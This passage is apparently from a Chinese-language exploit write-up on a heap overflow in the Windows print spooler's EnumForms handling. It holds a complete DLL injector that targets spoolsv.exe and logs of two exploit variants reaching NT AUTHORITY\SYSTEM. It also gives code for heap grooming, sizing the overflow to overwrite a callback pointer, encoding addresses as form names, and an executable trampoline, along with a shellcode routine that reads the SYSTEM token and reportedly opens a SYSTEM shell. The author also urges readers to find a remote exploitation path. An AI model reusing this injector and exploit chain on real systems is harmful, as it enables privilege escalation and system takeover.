    if (GetFileAttributesW(dllPath) == INVALID_FILE_ATTRIBUTES) {
        printf(\"[-] DLL not found: %S\
\", dllPath);
        return 1;
    }

    if (!EnableDebugPrivilege()) {
        printf(\"[!] Warning: Could not enable SeDebugPrivilege\
\");
    } else {
        printf(\"[+] SeDebugPrivilege enabled\
\");
    }

    hPipe = CreateNamedPipeW(PIPE_NAME,
                             PIPE_ACCESS_INBOUND | FILE_FLAG_OVERLAPPED,
                             PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT,
                             1, 0, 65536, 0, NULL);
    if (hPipe == INVALID_HANDLE_VALUE) {
        printf(\"[-] CreateNamedPipe failed: %u\
\", GetLastError());
        return 1;
    }
    printf(\"[+] Relay pipe ready: %S\
\", PIPE_NAME);

    pid = FindProcessByName(L\"spoolsv.exe\");
    if (!pid) {
        printf(\"[-] spoolsv.exe not found\
\");
        CloseHandle(hPipe);
        return 1;
    }
    printf(\"[+] spoolsv.exe PID: %u\
\", pid);

    hProcess = OpenProcess(
        PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION |
        PROCESS_VM_WRITE | PROCESS_VM_READ | PROCESS_QUERY_INFORMATION,
        FALSE, pid);
    if (!hProcess) {
        printf(\"[-] OpenProcess failed: %u\
\", GetLastError());
        CloseHandle(hPipe);
        return 1;
    }
    printf(\"[+] Process opened\
\");

    SIZE_T pathSize = (wcslen(dllPath) + 1) * sizeof(wchar_t);
    remoteMem = VirtualAllocEx(hProcess, NULL, pathSize,
                               MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!remoteMem) {
        printf(\"[-] VirtualAllocEx failed: %u\
\", GetLastError());
        CloseHandle(hProcess);
        CloseHandle(hPipe);
        return 1;
    }

    if (!WriteProcessMemory(hProcess, remoteMem, dllPath, pathSize, &written)) {
        printf(\"[-] WriteProcessMemory failed: %u\
\", GetLastError());
        VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        CloseHandle(hPipe);
        return 1;
    }
    printf(\"[+] DLL path written to spoolsv @ 0x%p\
\", remoteMem);

    LPVOID loadLibAddr = (LPVOID)GetProcAddress(
        GetModuleHandleW(L\"kernel32.dll\"), \"LoadLibraryW\");
    if (!loadLibAddr) {
        printf(\"[-] Cannot find LoadLibraryW\
\");
        VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        CloseHandle(hPipe);
        return 1;
    }

    printf(\"[*] Injecting DLL into spoolsv.exe...\
\");
    hThread = CreateRemoteThread(hProcess, NULL, 0,
                                 (LPTHREAD_START_ROUTINE)loadLibAddr,
                                 remoteMem, 0, NULL);
    if (!hThread) {
        printf(\"[-] CreateRemoteThread failed: %u\
\", GetLastError());
        VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        CloseHandle(hPipe);
        return 1;
    }

    WaitForSingleObject(hThread, 10000);
    GetExitCodeThread(hThread, &exitCode);

    if (exitCode == 0) {
        printf(\"[-] LoadLibrary returned NULL -- DLL load failed\
\");
        printf(\"    Check if the DLL exists and is 64-bit\
\");
    } else {
        printf(\"[+] DLL loaded at 0x%08X in spoolsv\
\", exitCode);
    }

    printf(\"[*] Waiting for the payload to stream its staged output...\
\");
    if (!RelayPayloadOutput(hPipe, 5000, 30000)) {
        printf(\"[*] This payload did not stream live;\
\");
        printf(\"    see C:\\\\Windows\\\\Temp\\\\enumforms_inject_log.txt for its staged log.\
\");
    }

    DWORD spoolPid = FindProcessByName(L\"spoolsv.exe\");
    if (spoolPid == pid) {
        printf(\"[+] spoolsv.exe still running (PID %u)\
\", spoolPid);
    } else if (spoolPid) {
        printf(\"[!] spoolsv.exe restarted (new PID %u, was %u)\
\", spoolPid, pid);
        printf(\"    *** CRASH DETECTED -- vulnerability confirmed! ***\
\");
    } else {
        printf(\"[!] spoolsv.exe is DEAD!\
\");
        printf(\"    *** CRASH DETECTED -- vulnerability confirmed! ***\
\");
    }

    CloseHandle(hThread);
    VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
    CloseHandle(hProcess);
    DisconnectNamedPipe(hPipe);
    CloseHandle(hPipe);

    printf(\"\
[*] SYSTEM token proof also written to C:\\\\Windows\\\\Temp\\\\EXPLOITED.txt\
\");
    return 0;
}

在 Windows 11 Canary 版上用两个 exploit 变体复现利用的完整步骤如下。但先强调一个小限制:现代 Windows 版本上,即便以 Administrator 登录,我们手里也没有带 SeDebugPrivilege 的 High-IL 管理员 token,只有一个不带 SeDebugPrivilege 的中等 token。无论该权限处于启用还是禁用状态,关键是它必须在场——只要在,注入器就能启用它,一切照常运转。

首先是 exploit 变体 A 的流程:

C:\\Users\\Administrator\\ers11> ver
Microsoft Windows [Version 10.0.29683.1000]

C:\\Users\\Administrator\\ers11> powershell -c \"Stop-Service Spooler -Force; taskkill /F /IM WerFault.exe 2>$null; taskkill /F /IM spoolsv.exe 2>$null; Start-Sleep 2; Start-Service Spooler\"

C:\\Users\\Administrator\\ers11> powershell -c \"Get-Service Spooler\"

Status   Name               DisplayName
------   ----               -----------
Running  Spooler            Print Spooler

C:\\Users\\Administrator\\ers11> powershell -c \"(Get-Item C:\\Windows\\System32\\spoolss.dll).VersionInfo.FileVersion\"
10.0.29683.1000 (WinBuild.160101.0800)

C:\\Users\\Administrator\\ers11> powershell -c \"Get-FileHash C:\\Windows\\System32\\spoolsv.exe -Algorithm SHA256\"

Algorithm       Hash                                                                   Path
---------       ----                                                                   ----
SHA256          9BD943AAF6925609DE67127D3ECFF02996816B8AEF0004F22925AA78CA47C1A5       C:\\Windows\\System32\\spoolsv.exe

C:\\Users\\Administrator\\ers11> call \"C:\\Program Files\\Microsoft Visual Studio\\2022\\Community\\VC\\Auxiliary\\Build\\vcvars64.bat\"

C:\\Users\\Administrator\\ers11> cl /W4 /O2 /LD /D_CRT_SECURE_NO_WARNINGS exploit_stage4_exec_clean.c /Fe:payload_token.dll
Microsoft (R) C/C++ Optimizing Compiler Version 19.34.31937 for x64
Copyright (C) Microsoft Corporation.  All rights reserved.

exploit_stage4_exec_clean.c
Microsoft (R) Incremental Linker Version 14.34.31937.0
Copyright (C) Microsoft Corporation.  All rights reserved.

/dll
/implib:payload_token.lib
/out:payload_token.dll
exploit_stage4_exec_clean.obj

C:\\Users\\Administrator\\ers11> powershell -c \"Get-Process spoolsv\"

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------  ------    -----      -----     ------     --  -- -----------
    434      21     3896      17988       0.20   14316   0 spoolsv

C:\\Users\\Administrator\\ers11> inject_enumforms.exe payload_token.dll

============================================================
  spoolsv.exe DLL Injector for YEnumForms Test
============================================================

[*] DLL: C:\\Users\\Administrator\\ers11\\payload_token.dll
[+] SeDebugPrivilege enabled
[+] spoolsv.exe PID: 14316
[+] Process opened
[+] DLL path written to spoolsv @ 0x0000000000810000
[*] Injecting DLL into spoolsv.exe...
[+] Remote thread created. Waiting for DLL to execute...
[+] Thread completed. Exit code: 0x6E7A0000
[+] DLL loaded at 0x6E7A0000 in spoolsv
[+] spoolsv.exe still running (PID 14316)

[*] Check C:\\Windows\\Temp\\enumforms_inject_log.txt for results

C:\\Users\\Administrator\\ers11> powershell -c \"Get-Process spoolsv\"

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------  ------    -----      -----     ------     --  -- -----------
    541      26     6000      26068       0.41   14316   0 spoolsv

C:\\Users\\Administrator\\ers11> cat C:\\Windows\\Temp\\enumforms_inject_log.txt

============================================================
  EXPLOIT STAGE 4: Code Execution via Heap Overflow
  PID: 14316 (spoolsv.exe, NT AUTHORITY\\SYSTEM)
============================================================

============================================================
  STEP 0: BUILD TRAMPOLINE AND ENCODE TARGET ADDRESS
============================================================

[*] Step 0: Preparing shellcode function
    shellcode_func at: 0x00007FF86E7A1D00
    Address bytes: 00 1D 7A 6E F8 7F 00 00
    [+] Address is null-free; encoding it directly (no trampoline)
    Form name encoding: L\"\\x1D00\\x6E7A\\x7FF8\" + null
    Decoded address: 0x00007FF86E7A1D00 (MATCH!)
[+] Step 0 complete: callback value ready

============================================================
  STEP 1: RESOLVE ROUTER EXPORTS AND OPEN PRINTER
============================================================

[*] spoolss.dll at 0x00007FF869A00000
    [+] OpenPrinterW/EnumFormsW/ClosePrinter/AddFormW/DeleteFormW resolved
    [+] Printer handle: 0x000000000062C920
[+] Step 1 complete: router ready, local print server opened

============================================================
  STEP 2: PLANT FORM WHOSE NAME ENCODES THE ADDRESS
============================================================

[*] Step 2: Adding form with encoded address name
    [+] Form added
[+] Step 2 complete: attacker bytes are now in the form store

============================================================
  STEP 3: MEASURE LAYOUT (needed, custom_off)
============================================================

[*] Step 3: needed=12090, forms=0
    Custom form at index 174, string at buf+0x1B58
[+] Step 3 complete: our name packs at buf+0x1B58 in an honest buffer

============================================================
  STEP 4: SPRAY CALLBACK OBJECTS AND OPEN HOLES
============================================================

[*] Step 4: Spraying callback objects (size=0x2F3A)
    [+] Sprayed 300 SPRAY_OBJ blocks (marker 0xCAFEBABE)
    [+] Freed every 4-th block to open holes
[+] Step 4 complete: heap groomed

============================================================
  STEP 5: PLACE VICTIM BUFFER AND FIND THE NEIGHBOR
============================================================

    buffer at 0000000002399070
    target spray[287] at 000000000239C080 (delta=0x3010)
[+] Step 5 complete: victim dropped next to spray[287]

============================================================
  STEP 6: PRECISION OVERFLOW (cbBuf = needed + shift)
============================================================

[*] Step 6: Precision overflow
    custom_off=0x1B58, delta=0x3010, shift=0x14B8, cbBuf=0x43F2
    Overflow triggered: ret=175
[+] Step 6 complete: packed name deposited at the neighbor

============================================================
  STEP 7: VERIFY THE CORRUPTION AND EXECUTE
============================================================

[*] Step 7: Checking target corruption
    target->callback = 0x00007FF86E7A1D00
    shellcode_addr   = 0x00007FF86E7A1D00
    target->marker   = 0x0061004A (was 0xCAFEBABE)

    [!!!] CALLBACK POINTER MATCHES SHELLCODE ADDRESS!
    [!!!] Calling through corrupted pointer...

    [!!!] SHELLCODE EXECUTED SUCCESSFULLY!
    [!!!] Check C:\\Windows\\Temp\\EXPLOITED.txt for proof.
[+] Step 7 complete

============================================================
  EXPLOIT COMPLETE. spoolsv.exe PID=14316 still running.
============================================================

接着是 exploit 变体 B 的流程:

C:\\Users\\Administrator\\ers11> powershell -c \"Stop-Service Spooler -Force; taskkill /F /IM WerFault.exe 2>$null; taskkill /F /IM spoolsv.exe 2>$null; Start-Sleep 2; Start-Service Spooler\"

C:\\Users\\Administrator\\ers11> powershell -c \"Get-Process spoolsv\"

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------  ------    -----      -----     ------     --  -- -----------
    171      14     2020       9664       0.03    6600   0 spoolsv

C:\\Users\\Administrator\\ers11> call \"C:\\Program Files\\Microsoft Visual Studio\\2022\\Community\\VC\\Auxiliary\\Build\\vcvars64.bat\"

C:\\Users\\Administrator\\ers11> cl /W4 /O2 /LD /D_CRT_SECURE_NO_WARNINGS exploit_stage4_shell_clean.c /Fe:payload_shell.dll
Microsoft (R) C/C++ Optimizing Compiler Version 19.34.31937 for x64
Copyright (C) Microsoft Corporation.  All rights reserved.

exploit_stage4_shell_clean.c
Microsoft (R) Incremental Linker Version 14.34.31937.0
Copyright (C) Microsoft Corporation.  All rights reserved.

/dll
/implib:payload_shell.lib
/out:payload_shell.dll
exploit_stage4_shell_clean.obj

C:\\Users\\Administrator\\ers11> inject_enumforms.exe payload_shell.dll

============================================================
  spoolsv.exe DLL Injector for YEnumForms Test
============================================================

[*] DLL: C:\\Users\\Administrator\\ers11\\payload_shell.dll
[+] SeDebugPrivilege enabled
[+] Relay pipe ready: \\\\.\\pipe\\ers11_enumforms
[+] spoolsv.exe PID: 12916
[+] Process opened
[+] DLL path written to spoolsv @ 0x0000000001130000
[*] Injecting DLL into spoolsv.exe...
[+] DLL loaded at 0x69A20000 in spoolsv

[*] Waiting for the payload to stream its staged output...

---- begin payload (spoolsv.exe, Session 0, NT AUTHORITY\\SYSTEM) ----

============================================================
  EXPLOIT STAGE 4: Code Execution via Heap Overflow
  PID: 12916 (spoolsv.exe, NT AUTHORITY\\SYSTEM)
============================================================

============================================================
  STEP 0: BUILD TRAMPOLINE AND ENCODE TARGET ADDRESS
============================================================

[*] Step 0: Preparing shellcode function
    shellcode_func at: 0x00007FF869A21E70
    Address bytes: 70 1E A2 69 F8 7F 00 00
    [+] Address is null-free; encoding it directly (no trampoline)
    Form name encoding: L\"\\x1E70\\x69A2\\x7FF8\" + null
    Decoded address: 0x00007FF869A21E70 (MATCH!)
[+] Step 0 complete: callback value ready

============================================================
  STEP 1: RESOLVE ROUTER EXPORTS AND OPEN PRINTER
============================================================

[*] spoolss.dll at 0x00007FF865F60000
    [+] OpenPrinterW/EnumFormsW/ClosePrinter/AddFormW/DeleteFormW resolved
    [+] Printer handle: 0x000000000156C920
[+] Step 1 complete: router ready, local print server opened

============================================================
  STEP 2: PLANT FORM WHOSE NAME ENCODES THE ADDRESS
============================================================

[*] Step 2: Adding form with encoded address name
    [+] Form added
[+] Step 2 complete: attacker bytes are now in the form store

============================================================
  STEP 3: MEASURE LAYOUT (needed, custom_off)
============================================================

[*] Step 3: needed=12090, forms=0
    Custom form at index 174, string at buf+0x1B58
[+] Step 3 complete: our name packs at buf+0x1B58 in an honest buffer

============================================================
  STEP 4: SPRAY CALLBACK OBJECTS AND OPEN HOLES
============================================================

[*] Step 4: Spraying callback objects (size=0x2F3A)
    [+] Sprayed 300 SPRAY_OBJ blocks (marker 0xCAFEBABE)
    [+] Freed every 4-th block to open holes
[+] Step 4 complete: heap groomed

============================================================
  STEP 5: PLACE VICTIM BUFFER AND FIND THE NEIGHBOR
============================================================

    buffer at 00000000027BA7E0
    target spray[283] at 00000000027BD7F0 (delta=0x3010)
[+] Step 5 complete: victim dropped next to spray[283]

============================================================
  STEP 6: PRECISION OVERFLOW (cbBuf = needed + shift)
============================================================

[*] Step 6: Precision overflow
    custom_off=0x1B58, delta=0x3010, shift=0x14B8, cbBuf=0x43F2
    Overflow triggered: ret=175
[+] Step 6 complete: packed name deposited at the neighbor

============================================================
  STEP 7: VERIFY THE CORRUPTION AND EXECUTE
============================================================

[*] Step 7: Checking target corruption
    target->callback = 0x00007FF869A21E70
    shellcode_addr   = 0x00007FF869A21E70
    target->marker   = 0x0061004A (was 0xCAFEBABE)

    [!!!] CALLBACK POINTER MATCHES SHELLCODE ADDRESS!
    [!!!] Calling through corrupted pointer...

============================================================
  EXPLOIT PROOF: Code Execution as SYSTEM
  spoolsv.exe EnumForms Heap Overflow (CWE-122 / CWE-787)
============================================================

Process: spoolsv.exe (PID 12916)
Token User: NT AUTHORITY\\SYSTEM
Token SID:  S-1-5-18
Token Privileges: 5
  SeAssignPrimaryTokenPrivilege [Disabled]
  SeTcbPrivilege [Enabled]
  SeAuditPrivilege [Enabled]
  SeChangeNotifyPrivilege [Enabled]
  SeImpersonatePrivilege [Enabled]
Integrity Level: SYSTEM (0x4000)

[*] Spawning SYSTEM shell in user session...
[*] Target session: 2
[+] SYSTEM shell created! PID: 11608
[+] Shell token SID: S-1-5-18

    [!!!] SHELLCODE EXECUTED SUCCESSFULLY!
    [!!!] Check C:\\Windows\\Temp\\EXPLOITED.txt for proof.
[+] Step 7 complete

============================================================
  EXPLOIT COMPLETE. spoolsv.exe PID=12916 still running.
============================================================

---- end payload ----

[+] spoolsv.exe still running (PID 12916)

[*] SYSTEM token proof also written to C:\\Windows\\Temp\\EXPLOITED.txt

C:\\Users\\Administrator\\ers11>

你会看到目标系统上弹出一个以 SYSTEM 身份运行的终端。Game over。

10. 利用过程技术要点

最需要强调的事实:DLL 注入需要管理员权限,而且 SeDebugPrivilege 必须在场——无论启用还是禁用。正如前几节所说,为寻找经由该漏洞远程攻陷目标系统的路径,我只试过一次、仅仅一次。读者应当去仔细排查可能的路径,确认这个漏洞真的无法用于远程利用——因为微软终究不会修它,将来可能酿成更大的问题。

两个 exploit 遵循的序列都是“溢出 → 四个阶段 → SYSTEM”,四个阶段即 groom(布局)、corrupt(破坏)、control(控制)、execution(执行)。和往常一样,清理工作要格外用心:两个 exploit 都通过 DeleteFormW 函数删除自己植入的表单、释放全部分配,不留任何用户表单。

注入器本身没什么新意,或许唯一值得一提的坑是:我曾用 SE\_DEBUG\_NAME 而非 ANSI 字面量 “SeDebugPrivilege” 来写代码,结果传给 LookupPrivilegeValueW 函数时失败,权限从来没被启用过。

第二个 exploit 里,得选择把可见的 shell 投放到哪个会话。spoolsv.exe 跑在 Session 0,那里没有桌面;WTSGetActiveConsoleSessionId 函数返回的是物理控制台——管理员在 RDP 或 Hyper-V 增强会话里时它是空的,shell 投过去等于隐身。所以别走那条路,更可靠的做法是枚举会话、挑第一个处于 WTSActive 状态的,找不到活动会话再回退到控制台。

groom 是第一阶段,不过在运行顺序里显示为 Step 4——因为运行时它必须发生在尺寸协商之后。我们 spray 的对象决定了最终目标:

typedef void (*PFN_CALLBACK)(void);

typedef struct _SPRAY_OBJ
{
    PFN_CALLBACK callback;   // the field we will overwrite
    DWORD        marker;     // 0xCAFEBABE
    DWORD        index;      // which spray slot this is
    BYTE         padding[1];
} SPRAY_OBJ;

#define SPRAY_COUNT    300
#define HOLE_INTERVAL  4

groom 本身由以下代码完成:

LOG(\"\
[*] Step 4: Spraying callback objects (size=0x%X)\
\", needed);
g_heap = GetProcessHeap();

for (i = 0; i < SPRAY_COUNT; i++) {
    g_spray[i] = (SPRAY_OBJ *)HeapAlloc(g_heap, HEAP_ZERO_MEMORY, needed);
    if (g_spray[i]) {
        g_spray[i]->callback = NULL;
        g_spray[i]->marker   = 0xCAFEBABE;
        g_spray[i]->index    = i;
    }
}
for (i = HOLE_INTERVAL; i < SPRAY_COUNT; i += HOLE_INTERVAL)   // make holes
    if (g_spray[i]) { HeapFree(g_heap, 0, g_spray[i]); g_spray[i] = NULL; }

BYTE *buffer = (BYTE *)HeapAlloc(g_heap, HEAP_ZERO_MEMORY, needed);   // victim -> a hole

SPRAY_OBJ *target = NULL; LONGLONG min_d = 0x7FFFFFFF;
for (i = 0; i < SPRAY_COUNT; i++)
    if (g_spray[i]) {
        LONGLONG d = (LONGLONG)g_spray[i] - (LONGLONG)buffer;
        if (d > 0 && d < min_d) { min_d = d; target = g_spray[i]; }
    }
DWORD delta = (DWORD)min_d;   // observed is about 0x2790

细读这段代码:先分配 300 个 needed 字节的对象并打上 0xCAFEBABE 标记——之后更容易辨认哪些字节被“污染”了——然后每 4 块释放一块,打出洞。接着分配 victim 缓冲(即 EnumForms 的输出缓冲),它会落进某个洞。这一步的收尾是扫描:我们已经知道邻居是一个 SPRAY\_OBJ,前 8 字节是函数指针(此刻为 NULL),偏移 0x8 处是 0xCAFEBABE。大致结构:

  • SPRAY\_OBJ(大小 = needed):偏移 0 处是 callback|偏移 8 处是 marker(0xCAFEBABE)|……
  • 待覆写的正是那个 8 字节函数指针(callback)。
  • [SPRAY] [洞 → victim 缓冲] [VS header | SPRAY\_OBJ(幸存者)] [SPRAY]

第二阶段先证明“够得着相邻对象”,再谈精度。做法是增大 cbBuf 参数,把打包字符串块推过 victim 的末端——任何被拷贝的表单名都会覆写相邻对象/结构体的 VS 头(\_HEAP\_VS\_CHUNK\_HEADER)的前几个字节。此阶段的目标是证明可达,而不是控制落点和内容——那是第三、第四阶段的事。大致结构:

  • [victim 缓冲] [VS header] [SPRAY\_OBJ]
  • 破坏 16 字节的 VS 头能证明够得着,但这么干不可取。
  • [victim 缓冲] [VS header——原封不动] [SPRAY\_OBJ:callback @0x0 | marker @0x8 |……]
  • VS header 会保持原样(spoolsv 得活着),我们只覆写 callback 字段。

第三阶段经 AddFormW 函数注入受控内容,代码块如下:

LOG(\"\
[*] Step 2: Adding form with encoded address name\
\");
{
    typedef struct { DWORD Flags; LPWSTR pName; SIZEL Size; RECTL ImageableArea; } MY_FORM_INFO_1;

    MY_FORM_INFO_1 fi = {0};
    fi.Flags = 0;
    fi.pName = g_form_name;
    fi.Size.cx = 215900; fi.Size.cy = 279400;  // 8.5x11in in 1000ths mm (a real Letter size)
    fi.ImageableArea.right = 215900; fi.ImageableArea.bottom = 279400;

    pDeleteForm(hPrinter, g_form_name);
    if (pAddForm(hPrinter, 1, (LPBYTE)&fi)) LOG(\"    [+] Form added\
\");
    else LOG(\"    [ - ] AddForm: %u\
\", GetLastError());
}

AddFormW 函数要求一个像样的 FORM\_INFO\_1,所以尺寸用了真实的 Letter 规格;但对我们来说关键字段是 pName——它的取值经过了精心挑选,因为稍后我们会逐条读取记录的 pName 字段来定位自己的表单,并据此算出我们的名字字符串在缓冲区内的偏移,代码如下:

pEnum(hPrinter, 1, NULL, 0, &needed, &returned);
LOG(\"\
[*] Step 3: needed=%u, forms=%u\
\", needed, returned);

DWORD custom_off = 0;
{
    BYTE *tmp = (BYTE *)HeapAlloc(GetProcessHeap(), 0, needed);
    if (tmp) {
        DWORD n = 0, r = 0;
        __try { pEnum(hPrinter, 1, tmp, needed, &n, &r); } __except(1) {}
        for (i = 0; i < (int)r; i++) {
            wchar_t *name = *(wchar_t **)(tmp + i*40 + 8);   // FORM_INFO_1[i].pName
            if (name && wcscmp(name, g_form_name) == 0) {
                custom_off = (DWORD)((BYTE *)name - tmp);    // our string's offset in buf
                LOG(\"    Custom form at index %d, string at buf+0x%X\
\", i, custom_off);
                break;
            }
        }
        HeapFree(GetProcessHeap(), 0, tmp);
    }
}
if (custom_off == 0) { LOG(\"[-] Cannot find custom form string\
\"); goto done; }

第四阶段负责精度,把内容放到分毫不差的位置。这一步最有意思的事实是:exploit 不覆写 VS 头,而是通过控制 cbBuf 参数算准落点、直接“跳”过头——cbBuf 相当于把数据向头之后推送的“shift”:

  • custom_off + shift = delta
  • shift = delta - custom_off
  • cbBuf = needed + shift = needed + (delta - custom_off)

这就是全部诀窍,在 exploit 里就是三行:

DWORD shift = delta - custom_off;
DWORD cbBuf = needed + shift;

__try {
    DWORD n = 0, r = 0;
    pEnum(hPrinter, 1, buffer, cbBuf, &n, &r);   // SEH-wrapped: must NOT crash
} __except(EXCEPTION_EXECUTE_HANDLER) { LOG(\"    EXCEPTION during overflow\
\"); }

这样控制 cbBuf 参数,也就控制了 PackStrings 例程:它把我们命名的字符串精确放在目标(SPRAY\_OBJ.callback)的第一个字段上。于是“写什么”“写到哪”都在掌握之中,还顺带保住了 VS header——动它必然当场弄死目标程序。

  • 常规 cbBuf = needed:buffer[ .... name@custom_off .... ](留在缓冲区内|无害)
  • 攻击 cbBuf = needed + shift,shift = delta - custom_off:buffer[ ....] [VS | spray_obj [ name@0x0 ... ]——覆写落在 target+0x0,正是 callback(函数指针)。
  • “name”落在 buffer + custom_off + shift = buffer + delta = target+0x0(callback)

target→callback 字段一旦被覆写,调用 target->callback() 就会把控制流送到我们指定的地方。但地址必须编码成表单名,这项工作由下面这段代码完成:

static void encode_address_as_form_name(UINT_PTR addr, wchar_t *name, int max_len) {
    BYTE *bytes = (BYTE *)&addr; int i, wchar_count = 0;
    name[0] = 0;
    for (i = 0; i < 8; i += 2) {
        wchar_t wc = (wchar_t)(bytes[i] | (bytes[i+1] << 8));
        if (wc == 0) break;              // NUL word terminates (supplies high 0x0000)
        name[wchar_count++] = wc;
        if (wchar_count >= max_len - 1) break;
    }
    name[wchar_count] = 0;
}

举个例子,0x00007FFFF8BC1B90 会变换成 L“\\x1B90\\xF8BC\\x7FFF”,最重要的是末尾隐式的字符串终止符恰好补上最高的 0x0000。碰巧这个地址的低三个字里没有 NULL 字,于是直接编码、直接当 callback 用;可惜这不是普遍情况——往后会有一串地址,低位出现 NULL 字就会截断字符串、逼我们用 trampoline。因此 exploit 在继续之前会同时记录编码结果并把它解码回来核对,免得后面出问题。这项工作由下面这段代码完成:

encode_address_as_form_name(shellcode_addr, g_form_name, 128);

LOG(\"    Form name encoding: L\\\"\");
for (i = 0; g_form_name[i]; i++) LOG(\"\\\\x%04X\", g_form_name[i]);
LOG(\"\\\" + null\
\");

UINT_PTR decoded = 0; BYTE *dec = (BYTE *)&decoded;
for (i = 0; g_form_name[i] && i < 4; i++) { dec[i*2] = g_form_name[i] & 0xFF; dec[i*2+1] = g_form_name[i] >> 8; }

LOG(\"    Decoded address: 0x%p %s\
\", (void*)decoded, decoded == shellcode_addr ? \"(MATCH!)\" :
    (MISMATCH!)\");

基于以上代码,把目标地址编码成表单名(直编或经 trampoline)可以归纳为:

  • address = 0x00007FFFF8BC1B90 → 小端表示:90 1B BC F8 FF 7F 00 00
  • 按字分组:0x1B90 0xF8BC 0x7FFF 0x0000 → 宽字符串表示:L“\\x1B90\\xF8BC\\x7FFF”
  • 检查低三个字是否全非零:

  • 分配一页不含 NULL 的可执行内存(记作 T),在其中放 trampoline,然后按 48 B8 <&shellcode_function> FF E0(mov rax…;jmp rax)的组合编码 T。

  • 是 → 直接编码该地址:callback = &shellcode\_func(本例)

  • 否 → NULL 字会截断字符串,因此需要:

  • 无论哪种情况,宽字符字符串都在第一个 NUL 字符处终止。

如前所述,真实函数地址的低位字节里往往嵌着 NULL 字,会把编码后的字符串截断。所以不该直接编码 &shellcode\_func,而应分配一个不含 NULL 字节的可执行地址、在那里放 trampoline,由它跳转到真正的函数。下面这段代码体现了这一点:

UINT_PTR shellcode_addr = (UINT_PTR)&shellcode_func;
BYTE *addr_bytes = (BYTE *)&shellcode_addr;
BOOL has_null_wchar = FALSE;

for (i = 0; i < 6; i += 2) {                          // scan the low 3 words
    wchar_t wc = (wchar_t)(addr_bytes[i] | (addr_bytes[i+1] << 8));
    if (wc == 0) { has_null_wchar = TRUE; break; }
}
if (has_null_wchar) {
    for (UINT_PTR try_addr = 0x10010000; try_addr < 0x7FFF0000; try_addr += 0x10000) {
        BYTE *tb = (BYTE *)&try_addr;
        wchar_t w0 = tb[0] | (tb[1] << 8), w1 = tb[2] | (tb[3] << 8);
        if (w0 && w1) {                                // no NUL word in the low 4 bytes
            g_shellcode = VirtualAlloc((PVOID)try_addr, 4096, MEM_COMMIT|MEM_RESERVE,
                                       PAGE_EXECUTE_READWRITE);
            if (g_shellcode) {
                BYTE *code = (BYTE *)g_shellcode;
                code[0] = 0x48; code[1] = 0xB8;        // mov rax, imm64
                *(UINT_PTR *)(code + 2) = shellcode_addr;
                code[10] = 0xFF; code[11] = 0xE0;      // jmp rax
                shellcode_addr = (UINT_PTR)g_shellcode; // encode this null-free address
                break;
            }
        }
    }
}

现在 shellcode\_addr 不含 NULL 字节、可以干净地编码,跳进去执行的就是“mov eax, &shellcode\_func; jmp rax”。最后说明一下,VirtualAlloc((PVOID)try_addr,...) 调用会请求一个指定的基址——只要该地址空闲就能获批,这就是我们挑选带所需字节模式的基址的方法。

到这里,正确的表单名(编码着 trampoline 地址)已经就绪,接下来是验证并调用它:

__try {
    UINT_PTR written_ptr = (UINT_PTR)target->callback;
    LOG(\"    target->callback = 0x%p\
\", (void *)written_ptr);
    LOG(\"    shellcode_addr   = 0x%p\
\", (void *)shellcode_addr);
    LOG(\"    target->marker   = 0x%08X (was 0xCAFEBABE)\
\", target->marker);

    if (written_ptr == shellcode_addr) {
        LOG(\"\
    [!!!] CALLBACK POINTER MATCHES SHELLCODE ADDRESS!\
\");
        target->callback();                      // -> trampoline -> shellcode_func
        LOG(\"    [!!!] SHELLCODE EXECUTED SUCCESSFULLY!\
\");
    }
} __except(EXCEPTION_EXECUTE_HANDLER) {
    LOG(\"    EXCEPTION 0x%08X during callback check\
\", GetExceptionCode());
}

基于以上代码,target→callback 的值与 shellcode\_addr 相同,一次间接调用即可跑起 trampoline、再跳进 shellcode\_func。关键在于:这一切都发生在 spooler 的线程里,以 SYSTEM 身份运行。由于溢出写的是有效的堆内存,进程不会崩溃,spoolsv.exe 继续运行。如果不确定 callback 是否打得准,检查偏移 0x8 处的 marker 值——0xCAFEBABE 还在,就说明一切正常。

整个利用过程演示了越界写:写操作落在一个可 groom 的相邻 chunk 上,写的字节和目的地(一个 8 字节字段)都由我们控制。回看可知:EnumForms API 未授权调用方也能调用,但破坏 spoolsv 堆的写操作只存在于 spooler 进程内部,因此需要代码注入,而注入又要求 admin 以及随后的 SeDebugPrivilege。既然我们已经能把字节写上 spooler 持有的可调用指针、甚至 spooler 会跟随的数据指针,我们就能以 SYSTEM 身份执行操作。整个操作流程如下:

  • target→callback | target→&shellcode\_func → OpenProcessToken → NT AUTHORITY\SYSTEM → 写 EXPLOIT.txt → CreateProcessW → cmd.exe → SYSTEM 执行

说到 shellcode\_func 例程,代码如下:

static void __cdecl shellcode_func(void) {
    HANDLE hToken = NULL; char buf[4096]; int pos = 0; DWORD written; HANDLE hFile;

    pos += sprintf_s(buf+pos, sizeof(buf)-pos, \"Process: spoolsv.exe (PID %u)\\r\
\",
                     GetCurrentProcessId());

    if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
        BYTE tu[256]; DWORD rl = 0;
        if (GetTokenInformation(hToken, TokenUser, tu, sizeof(tu), &rl)) {
            WCHAR name[128]={0}, dom[128]={0}; DWORD nl=128, dl=128; SID_NAME_USE use;
            if (LookupAccountSidW(NULL, ((TOKEN_USER*)tu)->User.Sid, name,&nl, dom,&dl, &use))
                pos += sprintf_s(buf+pos, sizeof(buf)-pos, \"Token User: %S\\\\%S\\r\
\", dom, name);
            LPWSTR sid=NULL;
            if (ConvertSidToStringSidW(((TOKEN_USER*)tu)->User.Sid, &sid)) {
                pos += sprintf_s(buf+pos, sizeof(buf)-pos, \"Token SID:  %S\\r\
\", sid); LocalFree(sid);
            }
        }
        /* ... enumerate TokenPrivileges and TokenIntegrityLevel similarly ... */
        CloseHandle(hToken);
    }

